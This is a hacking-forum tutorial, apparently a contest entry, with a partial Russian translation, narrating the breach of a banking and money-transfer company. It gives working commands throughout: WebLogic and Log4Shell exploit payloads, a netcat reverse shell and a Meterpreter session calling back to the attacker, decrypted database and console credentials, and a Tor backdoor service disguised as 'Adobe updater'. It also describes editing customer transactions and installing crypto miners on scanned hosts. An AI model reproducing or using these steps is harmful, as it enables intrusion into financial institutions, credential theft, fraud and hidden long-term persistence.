• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Banking, money transfer company hacking, and bypassing Sophos firewall (with hards rules) and the IPS/IDS systems

spyboy

RAID-массив
Пользователь
Регистрация
08.07.2021
Сообщения
57
Реакции
82
Гарант сделки
1
Translated version ( Russian version ) is in the comments

hello boys,
This is my first post in the forum and in the contest, so I wanted to make it something good.

Sorry I am writing this article in English but If you have any question or anything unclear don't hesitate to ask me and I will make clear for you

Abstract


In this article I am going to show you how you can bypass Sophos firewall that blocks everything (TCP, UDP, ICMP) and has an advanced IPs and IDs systems that detect any kind of malware. Moreover, I will show you how you can go deep into the network and get a stable connection with the servers and hosts inside the network, and expose more networks and get a reverse shell. All in all, you will learn how you can prepare your hacking stations inside the targets network and how you can from no privileges at all gain a full access to EVERYTHING (Oracle dbs, vcenter, DC admin) and how you can persistence your existence in the network for a long time.

Introduction

I always try to filter out the results that come from my bots scans and divide them into two categories, one of them to install crypto-currency miner and the other one for more investigation based on the domains or sub-domains that exist in TLS certs and the existence of "middle proxy, firewall, IDS, IPS ..etc" then when I have free time I start looking for a big fish from the category two to hunt down. The target that I going to use it to explain the techniques is a money transfer, banking company which got my attention because I had difficulties in every step I took and that’s what made me think it would be something good to share with you this experiment.

When I can came to check which vulnerability that effects this company it turned out that one of its servers are effected to weblogic unauthencated RCE CVE-2020-14882, which gives us the ability to execute a java code in the memory of the java process inside the server.

To make sure that we are able to execute java code I had to execute a code that sends a dns query to my domain, and listening by tcpdump for what comes.

Sudo tcpdump –I eth0 udp port 53

1.png

2.jpg

Good we got the desired query which means that our java code got executed successfully.

Note: You can identify whether the server is windows or not by sending the following command

cmd.exe /c nslookup xxxxx.domain.com

if we get results, it means it's windows, if not it's linux

you can use dnslog.cn for this task and we will use it later in this tutorial.

Now let's supposed that I don't know whether the server has a middleware (firewall, proxy or load balancer) in front of it or not, there is a simple technique that I always use for such things. Simply if there is a firewall I will not be able to get a reverse shell whether (TCP, HTTP, HTTPS) but when it's a proxy or load balancer there is a chance that I can get a reverse http connection , Simple Right ?

So I tried reverse tcp, http and https beacon but without result. I tried common ports like (80,8080,443,8443) that may be they are allowed but without any result L.Moreover, I tried to ping the server to check if there is a possibility to get ping back but without any result too and that was the first problem that I faced (NO REVERSE CONNECTION AT ALL). Which means it's a firewall with rules that block all kind of reverse connections (TCP, UDP, ICMP), so what left for us ?? Yes DNS J reverse connection over DNS.

So I created a DNS beacon connects back to my server and made the payload powershell command, then execute it but without any result L

At that time I knew that I am facing an IPS, IDS system. For those who don't know what an IPs ("Intrusion Prevention System"), IDs (Intrusion Detection System) are ? in simple words they are an antivirus that installed in the firewall to prevent any kind of malware attacks besides the main firewall functionalities and I am going to show how I figured out that we are dealing with Sophos later. That is really bad, we are going to have a lot of work to do. 😆😆😆😆

Let's get started

Since the firewall blocks everything from going out, there is a great possibility that the servers behind it are NOT UP TO DATE which means there are many bugs unfixed and their antiviruses are NOT UP TO DATE as well because the firewall blocks them as well from reaching the updates, which means if we could bypass the IPs, IDs systems and upload our DNS backdoor, we will not need to encrypt it.

I spent some time thinking and trying to upload a file's bytes in chunks using inline technique but the problem that I am facing right now is that this vulnerability launches more than one process when it gets executed which means if I execute
Код:
echo|set /p="">beacon.hex
echo|set /p="4d5a900003000000040000000001000000040000000000000cfd775b0da70d420f863a3cd8524d475f8052f0e47533">>beacon.hex --> will be executed and copied more than one time to the beacon.hex which means the file will be corrupted

Fortunately , our exploit is RCE which means we can create our own code to write the file without any errors. I used the java.io.RandomAccessFile class to do so
Java:
static void acf(String x,int dbyte) throws IOException{
        long cp = 0;
        java.io.RandomAccessFile acf = new java.io.RandomAccessFile(x,"r");
        while(acf.length() !=cp){
            byte[] temp;
            int sz = (int) (acf.length()-cp);
            if ((sz) >=dbyte)
                temp = new byte[dbyte];
            else
                temp = new byte[sz];
            acf.seek(cp);
            acf.read(temp,0,temp.length);
            cp = acf.getFilePointer();
            //System.out.println(bs64(new String(temp))+" --> "+cp);
            try {
                String s = bs64(new String(temp))+" --> "+cp+"\n";
                java.nio.file.Files.write(Paths.get("C:\\outfile.txt"), s.getBytes(), StandardOpenOption.APPEND);
            }catch (IOException e) {
                //exception handling left as an exercise for the reader
                System.out.println("Error "+e.toString());
            }
        }
      
    }

Acf method will read our backdoor and encode it then output the encoded bytes as lines into C:\outfile.txt, now I will edit the exploit to read the lines and add them into a remote file in the vulnerable system by writing the files in the same place using seek() method. for test purpose I have made a method to be implemented locally in my machine with the previous method

Java:
static void wacf(String p, long pos, String d) throws IOException{
        java.io.RandomAccessFile wf = new java.io.RandomAccessFile(p,"rw"); // the path must be bs64 encoded
        wf.seek(pos);
        wf.write(new String(java.util.Base64.getDecoder().decode(d)).getBytes());
          
    }

This is the original exploit
_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('"+cmd+"');\");"

We will add wacf() method's code to the exploit and we must focus on the quotes 🤣
Java:
_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.io.RandomAccessFile wf = new java.io.RandomAccessFile(new String(java.util.Base64.getDecoder().decode(\"name_of_file_in_base64String\")),\"rw\");wf.seek(0);wf.write(new String(java.util.Base64.getDecoder().decode(\"base64_line_here\")).getBytes());java.lang.Runtime.getRuntime().exec('nslookup wrote.pop457.dnslog.cn')\");"

Put in seek method the number of the position of the file where to write for example if fist line after decoding the base64 was 100 byte the seek value of the next request will be seek(100) and so on

Replace base64_line_here with the line that found in C:\outfile.txt which acf() method created

Replace wrote.pop457.dnslog.cn with your dns name for reporting

I launched the exploit and uploaded the lines manually and monitored the responses from the server and things went well and the file uploaded. Of course, I used dns beacon to get cc in the cobaltstrike which means domain name has been used , if you don't have one you can create free one from freenom.com.

Sophos IPs, IDs Firewall Bypassing

Let's now launch our DNS beacon

exploit.py [URL]https://target.com[/URL] "cmd.exe /c start orcl_domain.exe"

5.jpg


As you can see in the figure above we could bypass the firewall and get a reverse dns beacon but with a low level user privileges and the connection is so unstable maybe it's because the IPS prevents some Cobaltstrike's packets ,so we cannot make any tunneling over DNS. Now we have to think of an alternative way to tunnel our connections to the servers.

Since we are in jsp environment we can implement something a way better than DNS tunneling, which is tunneling over http by using the amazing tool A Black Path Towards the Sun (ABPTTS), You can get the tool from the main repo in github -> https://github.com/nccgroup/ABPTTS

To Implement such tunneling we will need to deploy the ABPTTS webshell in the server and to do so we will need to get the password of the weblogic console, so we will need to decrypt the passwords that are exist in the boot.properties file, and to do so we will need to an interactive shell to help us execute the commands in the wlst shell. As a temporary solution we can use dnscat2 yes it's slow but we will only need it to crack the passwords that exists in the weblogic server.
You can download it from the following URL

https://downloads.skullsecurity.org/dnscat2/

I downloaded dnscat2-v0.07-server.zip for the server to listen for the traffic and dnscat2-v0.07-client-win32.zip for windows

Note : the password to unzip the files are "password"

Now let's upload the client to the server as dc.exe and then execute the following command

Exploit.py [URL]https://target.com[/URL] "cmd.exe /c dc --dns domain=domain_here,type=TXT"

and here are some figures for the connection
6.jpg

7.jpg

8.jpg


To interact with a window we type in

Window -i WINDOW_ID_HERE

To exit from windows we press ctrl+z

To get an interactive shell we type shell after that it will open a new window for us, we interact with it by window -i window_id_here

Please note that the connection is not stable so you will need to launch the client more that one time but this is our best choice for now.

Now we will extract the login credentials for the console by executing

> Type servers\AdminServer\security\boot.properties

These are the login credentials before decryption
Код:
# Generated by Configuration Wizard on Thu Apr 29 22:33:24 AST 2021
username={AES}Re4nDw1n7PjHF+7bd3pqqLf/mxV0BpzOWn1AyHQ1ovo=
password={AES}DSkOz1wN1OewOiqRN+KWFe1YCttgm105glJCmXdCd3o=

now by executing the following commands I could extract the username and the password for the login console

Код:
> cd C:\Oracle\Middleware\Oracle_Home\wlserver\common\bin
> wlst.bat
> domain = "C:/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain"
> service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
> encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
> encryption.decrypt("{AES}Re4nDw1n7PjHF+7bd3pqqLf/mxV0BpzOWn1AyHQ1ovo=")
'wallet'
> encryption.decrypt("{AES}Re4nDw1n7PjHF+7bd3pqqLf/mxV0BpzOWn1AyHQ1ovo=")
' walletAdmin1'
Domain : the path for the weblogic domain

Service: creating an encryption service and store it into the variable service

Encryption: get an AES decryption object and store it in encryption variable

Encryption.decrypt() --> call the decryption function and pass the AES value

Before logging in and closing the dnscat2 tunnel we need to crack the databases passwords and the passwords of the databases are exist in files called datasources, these files are exist under the path

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain1\config\jdbc

I found some xml files that contain login credentials to the databases servers and this is one of them
XML:
<?xml version='1.0' encoding='UTF-8'?>
<jdbc-data-source xmlns="http://xmlns.oracle.com/weblogic/jdbc-data-source" xmlns:sec="http://xmlns.oracle.com/weblogic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wls="http://xmlns.oracle.com/weblogic/security/wls" xsi:schemaLocation="http://xmlns.oracle.com/weblogic/jdbc-data-source http://xmlns.oracle.com/weblogic/jdbc-data-source/1.0/jdbc-data-source.xsd">
  <name>JDBC GridLink Data Source-0</name>
  <datasource-type>AGL</datasource-type>
  <jdbc-driver-params>
    <url>jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.33)(PORT=1533)))(CONNECT_DATA=(SERVICE_NAME=walletDB)))</url>
    <driver-name>oracle.jdbc.OracleDriver</driver-name>
    <properties>
      <property>
        <name>user</name>
        <value>wallet</value>
      </property>
    </properties>
    <password-encrypted>{AES}3kvyGZTpFd5gIxzRAGIjDNmbKTIhLhAARvhYv+ld63w=</password-encrypted>
  </jdbc-driver-params>
  <jdbc-connection-pool-params>
    <initial-capacity>100</initial-capacity>
    <max-capacity>3500</max-capacity>
    <min-capacity>1</min-capacity>
    <shrink-frequency-seconds>900</shrink-frequency-seconds>
    <highest-num-waiters>2147483647</highest-num-waiters>
    <connection-creation-retry-frequency-seconds>0</connection-creation-retry-frequency-seconds>
    <connection-reserve-timeout-seconds>10</connection-reserve-timeout-seconds>
    <test-frequency-seconds>120</test-frequency-seconds>
    <test-connections-on-reserve>false</test-connections-on-reserve>
    <ignore-in-use-connections-enabled>true</ignore-in-use-connections-enabled>
    <inactive-connection-timeout-seconds>120</inactive-connection-timeout-seconds>
    <test-table-name>SQL ISVALID</test-table-name>
    <login-delay-seconds>0</login-delay-seconds>
    <statement-cache-size>100</statement-cache-size>
    <statement-cache-type>LRU</statement-cache-type>
    <remove-infected-connections>true</remove-infected-connections>
    <seconds-to-trust-an-idle-pool-connection>10</seconds-to-trust-an-idle-pool-connection>
    <statement-timeout>-1</statement-timeout>
    <pinned-to-thread>false</pinned-to-thread>
    <wrap-types>true</wrap-types>
    <connection-harvest-max-count>1</connection-harvest-max-count>
    <connection-harvest-trigger-count>-1</connection-harvest-trigger-count>
    <count-of-test-failures-till-flush>2</count-of-test-failures-till-flush>
    <count-of-refresh-failures-till-disable>2</count-of-refresh-failures-till-disable>
  </jdbc-connection-pool-params>
  <jdbc-data-source-params>
    <jndi-name>jdbc/restDS</jndi-name>
    <global-transactions-protocol>OnePhaseCommit</global-transactions-protocol>
  </jdbc-data-source-params>
  <jdbc-oracle-params>
    <fan-enabled>false</fan-enabled>
    <ons-node-list></ons-node-list>
    <ons-wallet-file></ons-wallet-file>
    <active-gridlink>true</active-gridlink>
  </jdbc-oracle-params>
</jdbc-data-source>
Between the password-encrypted tag we can find the aes encrypted password that used to connect to the database in the remote server "172.16.33.33"

Dbname = walletDB
Dbuser= wallet
Host=172.16.33.33
Encrypted password= {AES}3kvyGZTpFd5gIxzRAGIjDNmbKTIhLhAARvhYv+ld63w=

Now let's execute the same decrypting command in the wlst shell
Код:
> encryption.decrypt("{AES}3kvyGZTpFd5gIxzRAGIjDNmbKTIhLhAARvhYv+ld63w=")
'wallet_123'
Now we have all the login credentials for both database server of wallet application and the weblogic console login. Now let's try to login

9.jpg


Finally 😄😄 we logged in , that was hard and exhausted.
Now it's time for the great tool " a black path toward the sun"
Something to mention about this tool is, it supports tunneling over http for both aspx and jsp.
Now Implement the following commands in the terminal

Bash:
git clone https://github.com/nccgroup/ABPTTS.git
cd ABPTTS
python abpttsfactory.py -o webshell
now we have webshells (aspx, jsp and war) in the webshell folder, we are interested right now in the war shell because weblogic only deploys war files as web app

ls -lah webshell
10.jpg

We will upload the philanderersRedeemer.war via the weblogic console

Deploying an application in weblogic is pretty simple just follow these steps:

  • Click on Lock & Edit
  • Click on Deployments
  • Click on install
  • Click on Upload your file(s)
  • Browse for the webshell and select it then ignore anything else and click next
  • Click next
  • Next again
  • Remember the name that comes in the name field
  • Finish
under Summary of Deployments click the control tab, then down beneath the Deployments select your file then click start-> servicing all requests, finally click Release Configuration

That's it😆

Now my abpts shell url is https://target.com/abpts/philanderersRedeemer.jsp

Now we have the ability to tunnel over http which is much faster than DNS which means we have bypassed the firewall and the IPS, IPs.
Tunnel over HTTP

ABPTTS provides an easy way to tunnel the connections with a simple command line

python abpttsclient.py -c [Config file] -u [abptts webshell]-f local_IP_to_Listen:[Local_port]/[Remote_IP_to_connect]:[Remote_Port]

Now we will use the database login creds to hack the oracle server NOT only the database and gain root privileges on the server then connect to databases inside the server and do whatever we want like change the transactions number, reuse an old transfer money by editing it from the tables and anything that comes to our minds.

So how will we have oracle server by using the oracle database login creds ? we will use a tool called Oracle Database Attacking Tool, this tool is an amazing tool , it checks all the available exploits and privileges for the database user and gives us the report.

So first let's tunnel over http by using the following command

python abpttsclient.py -c webshell/config.txt -u https://target.com/abpts/philanderersRedeemer.jsp -f 127.0.0.1:1521/172.16.33.33:1533 -v

127.0.0.1:1521 --> loopback interface and local port to listen on our attacking machine

172.16.33.33:1533 --> remote ip of the oracle server and remote listening port

Easy right !!! 🙂

If we check for the listening connections now in our machine we will notice that python is now listening on port 127.0.0.1:1521

Netstat –nltp
11.jpg

Break into Database server

To hack an oracle database server, we will need to check the privileges that the db user has and use them for our favor. To do this we will user Oracle Database Attacking Tool ODAT, this amazing tool will do all the hard work for us J.

This tool does many attacks against oracle server and give a nice and sorted result, you can download it from the following URL

https://github.com/quentinhardy/odat/releases/download/5.1.1/odat-linux-libc2.17-x86_64.tar.gz

Now let's launch the attack against 172.16.33.33 server which we have its database credentials.

execute the following command:
Bash:
odat all -s 127.0.0.1 -U wallet -P wallet_123 -d walletDB
all --> testing for everything

127.0.0.1 --> our listening loopback interface

-U for the user name

-P for the password

-d for the database



12.jpg


The OK means we can use the lib for exploiting. For me, UTL_FILE library always works fine especially when the oracle server is linux, to check if it's linux we need to tunnel for ssh and try to login
Bash:
python abpttsclient.py -c webshell/config.txt -u https://target.com/abpts/philanderersRedeemer.jsp -f 127.0.0.1:1521/172.16.33.33:1533 -f 127.0.0.1:2222/172.16.33.33:22 -v
ssh 127.0.0.1 –p 2222

ssh-check.jpg

Linux lol :D

The utlfile lib is capable of doing almost everything to files in the server such as upload file from our machine to the server or download a file from the server to our machine and of course delete file, to see the lib's functionalities just time odat utlfile –h.

Now let's upload an ssh key to the oracle server to the path /home/oracle/.ssh/authorized_keys and connect to it. If you haven't created an ssh key before, you can do it using the tool ssh-keygen which by default in linux.

Anyway I have one in home directory of the kali linux, so I will upload it to the oracle server, please see the following figure.
13.jpg

So now our ssh key is on the /home/oracle/.ssh folder as authorized_keys which means we can connect to the oracle server without providing the password by executing the following command
Ssh [EMAIL]oracle@127.0.0.1[/EMAIL] –p 2222

14.jpg

Bingo 😎 we are inside the oracle server

Now our connection with the oracle server looks like this
tunnel-1.jpg


Now what's next ?

Privilege escalation

For the past two years, linux has been suffering from privilege escalation vulnerabilities such as CVE-2021-3156,pwnkit, dirtypipe and Nimbuspwn. I will try to check for the first one by using this perl line sudoedit -s '\' `perl -e 'print "A" x 65536'`
15.jpg

It'is vulnerable, the exploit is available on github -> https://github.com/worawit/CVE-2021-3156

let's upload the exploit using scp command
scp -P2222 -i ~/.ssh/id_rsa CVE-2021-3156.zip [EMAIL]oracle@127.0.0.1:/tmp[/EMAIL]
16.png

Bash:
unzip CVE-2021-3156.zip

cd CVE-2021-3156-main/

python exploit_defaults_mailer.py
17.jpg


Let's run /tmp/sshell
18.jpg



Now we have root in a linux system which means we can use this system as our hacking station inside the network and execute any kind of attacks from it or scan the network.
But now I will create a user with root privileges in the server to make things better for us.
Execute the following commands
Bash:
useradd --no-create-home sql
usermod –aG sudo sql
passwd sql  then set the password for the user sql

Now we can browse all the databases that exist in this server without any limitation, so let's connect to the oracle database

SQL:
sqlplus / as sysdba
SELECT NAME FROM v$database;
select table_name from all_tables where owner='WALLET'; // we will get the tables for user wallet
19.jpg

Now we can use the insert or update statements for manipulating the clients transactions. However, we will first need to study and analyze the database tables and columns to understand what columns or tables to edit and this will take some time, so I will stop here and more to the next section.

Going deep into network
We need to move from this machine to others so we can reach the domain controller because we landed on a machine with low user privileges and outside company's MS domain. I always when I get a foothold on the network the first thing for me is to look for the vcenter and it's often connected to almost every interface in the network or has access to every network range, so it's a good place to start with, which will help us a lot in discovering the network without any filters. We will use masscan tool to scan the range 192.168.0.0/16 for port 443 which ESXi, vCenter and many other hypervisors are listening on.
So we transfer masscan to the oracle server from our machine but we will use rsync command with big files in case the network gets interrupted, so we can complete the transfer from where we stopped.
Код:
rsync –P –e "ssh –p 2222" masscan sql@127.0.0.1:/tmp
this command will transfer the masscan to the tmp file in the oracle server .
now let's start scanning
Bash:
cd /tmp
chmod +x masscan
./masscan –p 443 192.168.0.0/16 –rate=10000 >> 443.txt

--rate = number of packets per second, it's not recommended to increase it more than 100000 because you would be disconnected from the host and the result of the scan will not be accurate, maybe you would miss some hosts.
Now we have the results stored in 443.txt file we want now to check if these ips contains ESXi, vcenter. I made a simple python script to do so, I will attach it with the files by the end of the article.
20.jpg

192.168.0.81 is vcenter , We found it.
Let's check if the vcenter is vulnerable to log4shell vulnerability, I made python script to do so, it will be in the attachments as well. We will transfer it to the oracle server the same way we did with masscan.
Код:
psync –P –e "ssh –p 2222" vcenter.py sql@127.0.0.1:/tmp

21.png


the result is :

22.png

And it's vulnerable 🤣🤣


Break into VCenter

Now to exploit the vcenter we will need to transfer rogue-jndi, you can get it in the github

In our kali linux we will execute the following command to get it.

git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

maybe you will need to install mvn (maven) in case it's not installed in your kali machine, then we will zip the target folder

zip target.zip –r target

then transfer it to the oracle server

Код:
rsync –P –e "ssh –p 2222" target.zip sql@127.0.0.1:/tmp

The exploitation idea is to get a reverse connection from vcenter to our cloud server or to the oracle server.

The exploitation steps are:

  • Provide the rogue-jndi with the command to get executed in the vcenter, ldap listening port and http port, you can use the default ports
  • Execute the python exploit which we have already transferred it to the oracle server
You can read more about the exploit here

https://www.sprocketsecurity.com/blog/how-to-exploit-log4j-vulnerabilities-in-vmware-vcenter

be default vcenter comes with netcat, so we can use it to get a reverse shell either to our cloud server or to oracle server.

I tried to get a reverse shell to my cloud server but it failed, so I got reverse shell to the oracle server.

Run the exploit, then change the value inside the vcenter.py script

java -jar target/RogueJndi-1.1.jar -c "nc 172.16.33.33 443 -e /bin/bash"

nano vcenter.py

log4shell-exploit0.png


Save and run the exploit

python vcenter.py [URL='https://192.168.0.81']https://192.168.0.81[/URL]

log4shell-exploit1.png

We got reverse shell, so let's execute
Bash:
id
/bin/bash –I

Now it's time for me to show you that we have been dealing with Sophos firewall from the beginning, I tried to send a get request to xss.pro from the vcenter host, and that is the response
sophos-firewall.jpg

Now our connection to the vcenter looks like this
tunnel-2.jpg



Deeper and deeper

As I mentioned earlier, often vCenter host has access to almost all ranges in the network because many running servers are virtual and in many cases they need to link them to the vcenter to manage them, so we will try to scan class A network which is 10.0.0.0/8 from the vcenter by using masscan, but first we need to create a user with root privileges like we did in the oracle server.

useradd --no-create-home sql –shell /bin/bash

usermod –aG sudo sql

passwd sql à then set the password for the user sql

now we will make a tunnel directly from 192.168.0.28 --> 192.168.0.81

python abpttsclient.py -c webshell/config.txt -u https://target.com/abpts/philanderersRedeemer.jsp -f 127.0.0.1:1521/172.16.33.33:1533 -f 127.0.0.1:2222/172.16.33.33:22 -f 127.0.0.1:3333/192.168.0.81:22 -v

tunnel-3.jpg


So let's login via ssh

vcenter-ssh-connect.jpg


Now let's scan the class A private IP and in case we don't get something good we will scan class B and class C, I will focus on the services like http,https services on the following ports

443,8443,80,8080,8081,8082,8083,7001,7002,9001,9002

After we look for such ports, we will use zgrab2 to look for backend jsp servers like tomcat, jboss,weblogic, Jenkins or any server that contains in its response JSESSIONID so we can try to exploit them using log4shell exploit like we did with vcenter.
Before we begin I want to mention something very important about the combination between masscan and zgrab2. These two tools are extremely fast, which means their results are not accurate, one more thing about zgrab2, this tool does not authenticate tls ssl certificate all the time, I tried to find what's the problem but with no chance, so if any of you guys have any idea that would be nice if you post the solution in the comments J. Anyway, zgrab2 still strong and effective.

Now let's get root

Sudo /bin/bash

Then type the password

And in another terminal let's transfer the masscan
Bash:
rsync –P –e "ssh –p 3333" masscan sql@127.0.0.1:/tmp
In ssh terminal
cd /tmp
mkdir .xx
mv masscan .xx
cd .xx
chmod +x masscan
./masscan –p 443 10.0.0.0/8 –rate=100000 >> 443.txt

masscan-443.png

We filtered the output using the command

cat 443.txt | cut –d ' ' –f6 >> 443_filtered.txt

Now we will use zgrab2 to send get requests on port 443
zgrab_scan.png

Now it's time to filter out the outputs that produced by zgrab2, since we have 169 hosts it will be very hard to sort and filter the output and look for the services and scripts, so I create a simple shell script to do the job for us, it will be in the attachments.

Let's transfer it to the server

Код:
rsync –P –e "ssh –p 3333" detect.sh.zip sql@127.0.0.1:/tmp

And in the ssh terminal

Bash:
mv ../detect.sh.zip .
unzip detect.sh.zip
chmod +x detect.sh
./detect.sh 443.cvs #443.csv is the zgrab2 result
ls -lah out/
and the results are :
detect-sh-result.png

As you can see we have results in JSESSIONID txt file, tomcat.txt, vmware horizon and wordpress. We all know that vmware horizon is vulnerable to log4shell and I am sure that we would find more on the tomcat and many more in jsessionid and we have not scanned the other ports, we only scanned 443 port.

vm-horizon-hosts.jpg


Let's check if these hosts are vulnerable to log4shell.
Exploit is:
curl -vv -H "Accept-Language: \${jndi:ldap://DNSHOST}" --insecure https://target_ip/portal/info.jsp
vm-horizon-check.png

Both of them are vulnerables

Very well now let's exploit one of them the same way we did with vcenter, but we have to try to get a reverse shell to our cloud first.

This time when I tried to get a reverse shell to the cloud, it worked🤣😍😍😍
So let's create a meterpreter payload
Bash:
msf6 > use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lport 8444
lport => 8444
msf6 exploit(multi/script/web_delivery) > set lhost eth0
lhost => eth0
msf6 exploit(multi/script/web_delivery) > run
and run the rogue-jndi exploit
java –jar target/RogueJndi-1.1.jar –l 8443 –p 8081 –c "powershell payload"

then from other terminal run the exploit

curl -vv -H "Accept-Language: \${jndi:ldap://serverip:8443/o=tomcat}" --insecure https:// 10.90.11.100/portal/info.jsp

vmhorizon-meterpreter-session.png


Successfully bypassed the firewall and get reverse shell to my cloud.

Our connection now is like this:
tunnel-4.jpg


And what's amazing is, now we are inside the network domain
vmhorizon-session-info.png

Network domain owning

Once we are on the domain, it's very easy to get domain admin especially with vulnerabilities like petitpotam,nightmare,remotepotato0,zerologon,misconfig..etc.

But the easiest way and worked for me this time is by migrating our payload's process with a process owned by domain admin

So we will ask for the domain admins by executing the command

net group "domain admins" /domain

then look for the running processes in the current server and view only the process that are owned by the domain

tasklist /v|findstr /I "domain name here"

domain-admins.png

As you can see on the figure, all the output processes are running by user called "mabutaha" and this user has admin rights, so I will migrate our session with the process with pid 3660, then we will ask for the domain controllers (DCs) by executing the following command

nltest /dclist:domain_name_here

after that we will check if we have the ability to list the C drive in one of the DCs. If so, it means we are domain admin and we can access all the hosts and servers that is connected to the domain.
reach-dc.png


We are domain admin loool . That was pretty easy and quick. Actually, any company relays on their firewall for security and does not care about what's behind, they have no security at all because as you have seen in the end we could bypass the firewall and the IPS and IDS and we end-up a domain admin and have the ability to control the entire company.

"What I have found from my experience that the company's with firewall rules like this one, their network engineers are big fools and we I see such filter that attracts me to the company because I know that what's behind is not secure at all, yes it's not all the time but this thing is strongly common and I had such scenario with multibillion-dollar shareholding US Bank, when I bypass the firewall, almost all the operating systems where weak and vulnerable.
"

So now we have everything. If you have noticed from the figure that shows the domain admins, there is a veeam backup user, which means that we can extract the passwords for the esxi servers from the backup servers sooooo easy, and I have seen a tutorial here in the previous contest talking about such thing and explaining the way to do so.

Persistence

One of the most important things to do after you own the company is to create a legal backdoor to reach the servers without triggering an alarm by an antivirus or any security product, and this can be done in many ways like making a tunnel by ngrok or tor or by installing anydesk or by creating your own backdoor and link it to a server over ICMP or tcp or even DNS.

For me and many people, making a tunnel over tor is the best option

So I will make it short and quick because it's very easy to do so.

  • Upload tor to the server
  • Extract it any place you want
  • Change the torrc file config
SocksPort 45120 --> the listening port for tor

HiddenServiceDir C:\ProgramData\MSConnect à path for hidden service

HiddenServicePort 80 127.0.0.1:3389 --> connect through port 80 to the current host's rdp on port 3389

MaxCircuitDirtiness 10 à keep it or change it, it's up to you

Create a service for the tor process with the name you like

sc create "Adobe updater" binpath= "path for tor.exe process –nt-service –f \"path for torrc file\"" start= auto

sc start "Adobe updater"

Get the hostname that tor has created for you

type C:\ProgramData\MSConnect\hostname

Copy the output because you will need it to connect to the server.

Now when you want to connect the server you have to run tor into your kali machine --> set proxychains config to tunnel via tor

Then execute the following command

proxychains rdesktop hostname_here:port

Port in the torrc file is 80

Proxychains rdesktop hostname_here:80

That's it 😆😆😆

I spent hours on writing this article, so if you have found something unclear, please don't hesitate to ask me and I will try my best to make it clear to you

Guys I still have two other articles to participate in the contest and I think we still have a plenty of time, so If you want anything to be explained or any ideas for articles, please tell me in the comments



The attachments:
Link 1
Link 2

Thanks for reading😊
 

Вложения

  • metasploit-handle-options.png
    metasploit-handle-options.png
    8.4 КБ · Просмотры: 65
  • 11.jpg
    11.jpg
    83.7 КБ · Просмотры: 58
Последнее редактирование:
admin can anyone translate it to Russian? please, so everyone can understand what I have written 😊 😊 I didn't want to use google translate cause I know that the translation won't be accurate
Thank you 😊
Привет. Взял на перевод по просьбе Администрации. Завтра будет готова!!!
 
Часть 1. (Всего будет 3)
Привет, ребята.

Это мой первый пост на форуме и в этом конкурсе, поэтому хотелось бы сделать что-то хорошее для Вас всех.

Извините, но я пишу эту статью на английском языке, и если у вас есть какие-либо вопросы или что-то неясно, не стесняйтесь и спрашивайте у меня, и я вам все разжую.

Вместо вступления


В этой статье я собираюсь показать вам, как вы можете обойти брандмауэр Софос, который блокирует всё (TCP, UDP, ICMP) и имеет продвинутые системы IPS и IDS, которые обнаруживают любые вредоносные программы. Более того, я покажу вам, как можно пробиться вглубь сети и получить стабильное соединение с серверами и хостами внутри сети, а также раскрыть больше сетей и получить реверс шелл. В общем, вы узнаете, как подготовить свои хакерские машинки внутри целевой сети и как без каких-либо привилегий получить полный доступ ко ВСЕМУ (БД Оракул, vcenter, Админу ДК) и как сохранить свой персистенс в сети на долгое время.

Введение

Я всегда стараюсь отфильтровать результаты сканирования ботов и делить их на две категории: первая категория для установки майнера криптовалюты, а вторая для дополнительных исследований на основе доменов или поддоменов, существующих в сертификатах TLS и наличие "мидл прокси, файрволла, IDS, IPS, етк" и когда у меня есть свободное время я начинаю искать крупную рыбу из категории номер два для охоты. Цель которую я собираюсь использовать для объяснения методов, является мани трансфер, банковская компания, которая привлекла мое внимание, потому что у меня были трудности на каждом шагу, которые я делал, и это заставило меня подумать, что было бы неплохо поделиться с вами этим экспериментом.

Когда я смог проверить, какая уязвимость затрагивает эту компанию, оказалось, что один из ее серверов подвергается weblogic unauthencated RCE CVE-2020-14882, что дает нам возможность выполнять java-код в памяти java-процесса внутри сервера.

Чтобы убедиться, что мы можем выполнить java-код, мне пришлось выполнить код, который отправляет DNS-запрос в мой домен и прослушать tcpdumпом то что приходит.

https://xss.pro/attachments/37106/

https://xss.pro/attachments/37107/

Хорошо, мы получили желаемый запрос, что означает, что наш java-код успешно выполнен.

Примечание: Вы можете определить, является ли этот сервер Windows или нет, выполнив следующую команду:

cmd.exe /c nslookup xxxxx.domain.com

Если получаем результаты, значит это Винь, а если нет - то Линь.

Вы можете использовать dnslog.cn для этой задачи, и мы будем использовать его позже в этом туториале.

Теперь давайте предположим, что я не знаю, есть ли перед сервером промежуточное ПО (брандмауэр, прокси или балансировщик нагрузки) или его нет. Есть простая техника, которую я всегда использую для таких вещей. Просто, если есть брандмауэр, я не смогу получить реверс шелл (TCP, HTTP, HTTPS), но когда это прокси или балансировщик нагрузки, есть шанс, что я смогу получить реверс http-соединение, правильно?

Поэтому я попробовал использовать реверс маячок TCP, HTTP и HTTPS, но безрезультатно. Пробовал и обычные порты типа (80,8080,443,8443) может они и разрешены? Но также безрезультатно. Более того пробовал пинговать сервер чтобы проверить есть ли возможность вернуть пинг, но тоже безрезультатно и это была первая проблема, с которой я столкнулся (ВООБЩЕ НЕТ РЕВЕРС СОЕДИНЕНИЯ). Что означает, что это брандмауэр с правилами, которые блокируют все виды обратных соединений (TCP, UDP, ICMP), так что нам остается делать? Да DNS реверс соединение через DNS.

Итак, я создал DNS-маячок, подключающийся к моему серверу, и выполнил команду павершелл полезной нагрузки, а затем выполнил ее, но без какого-либо результата.

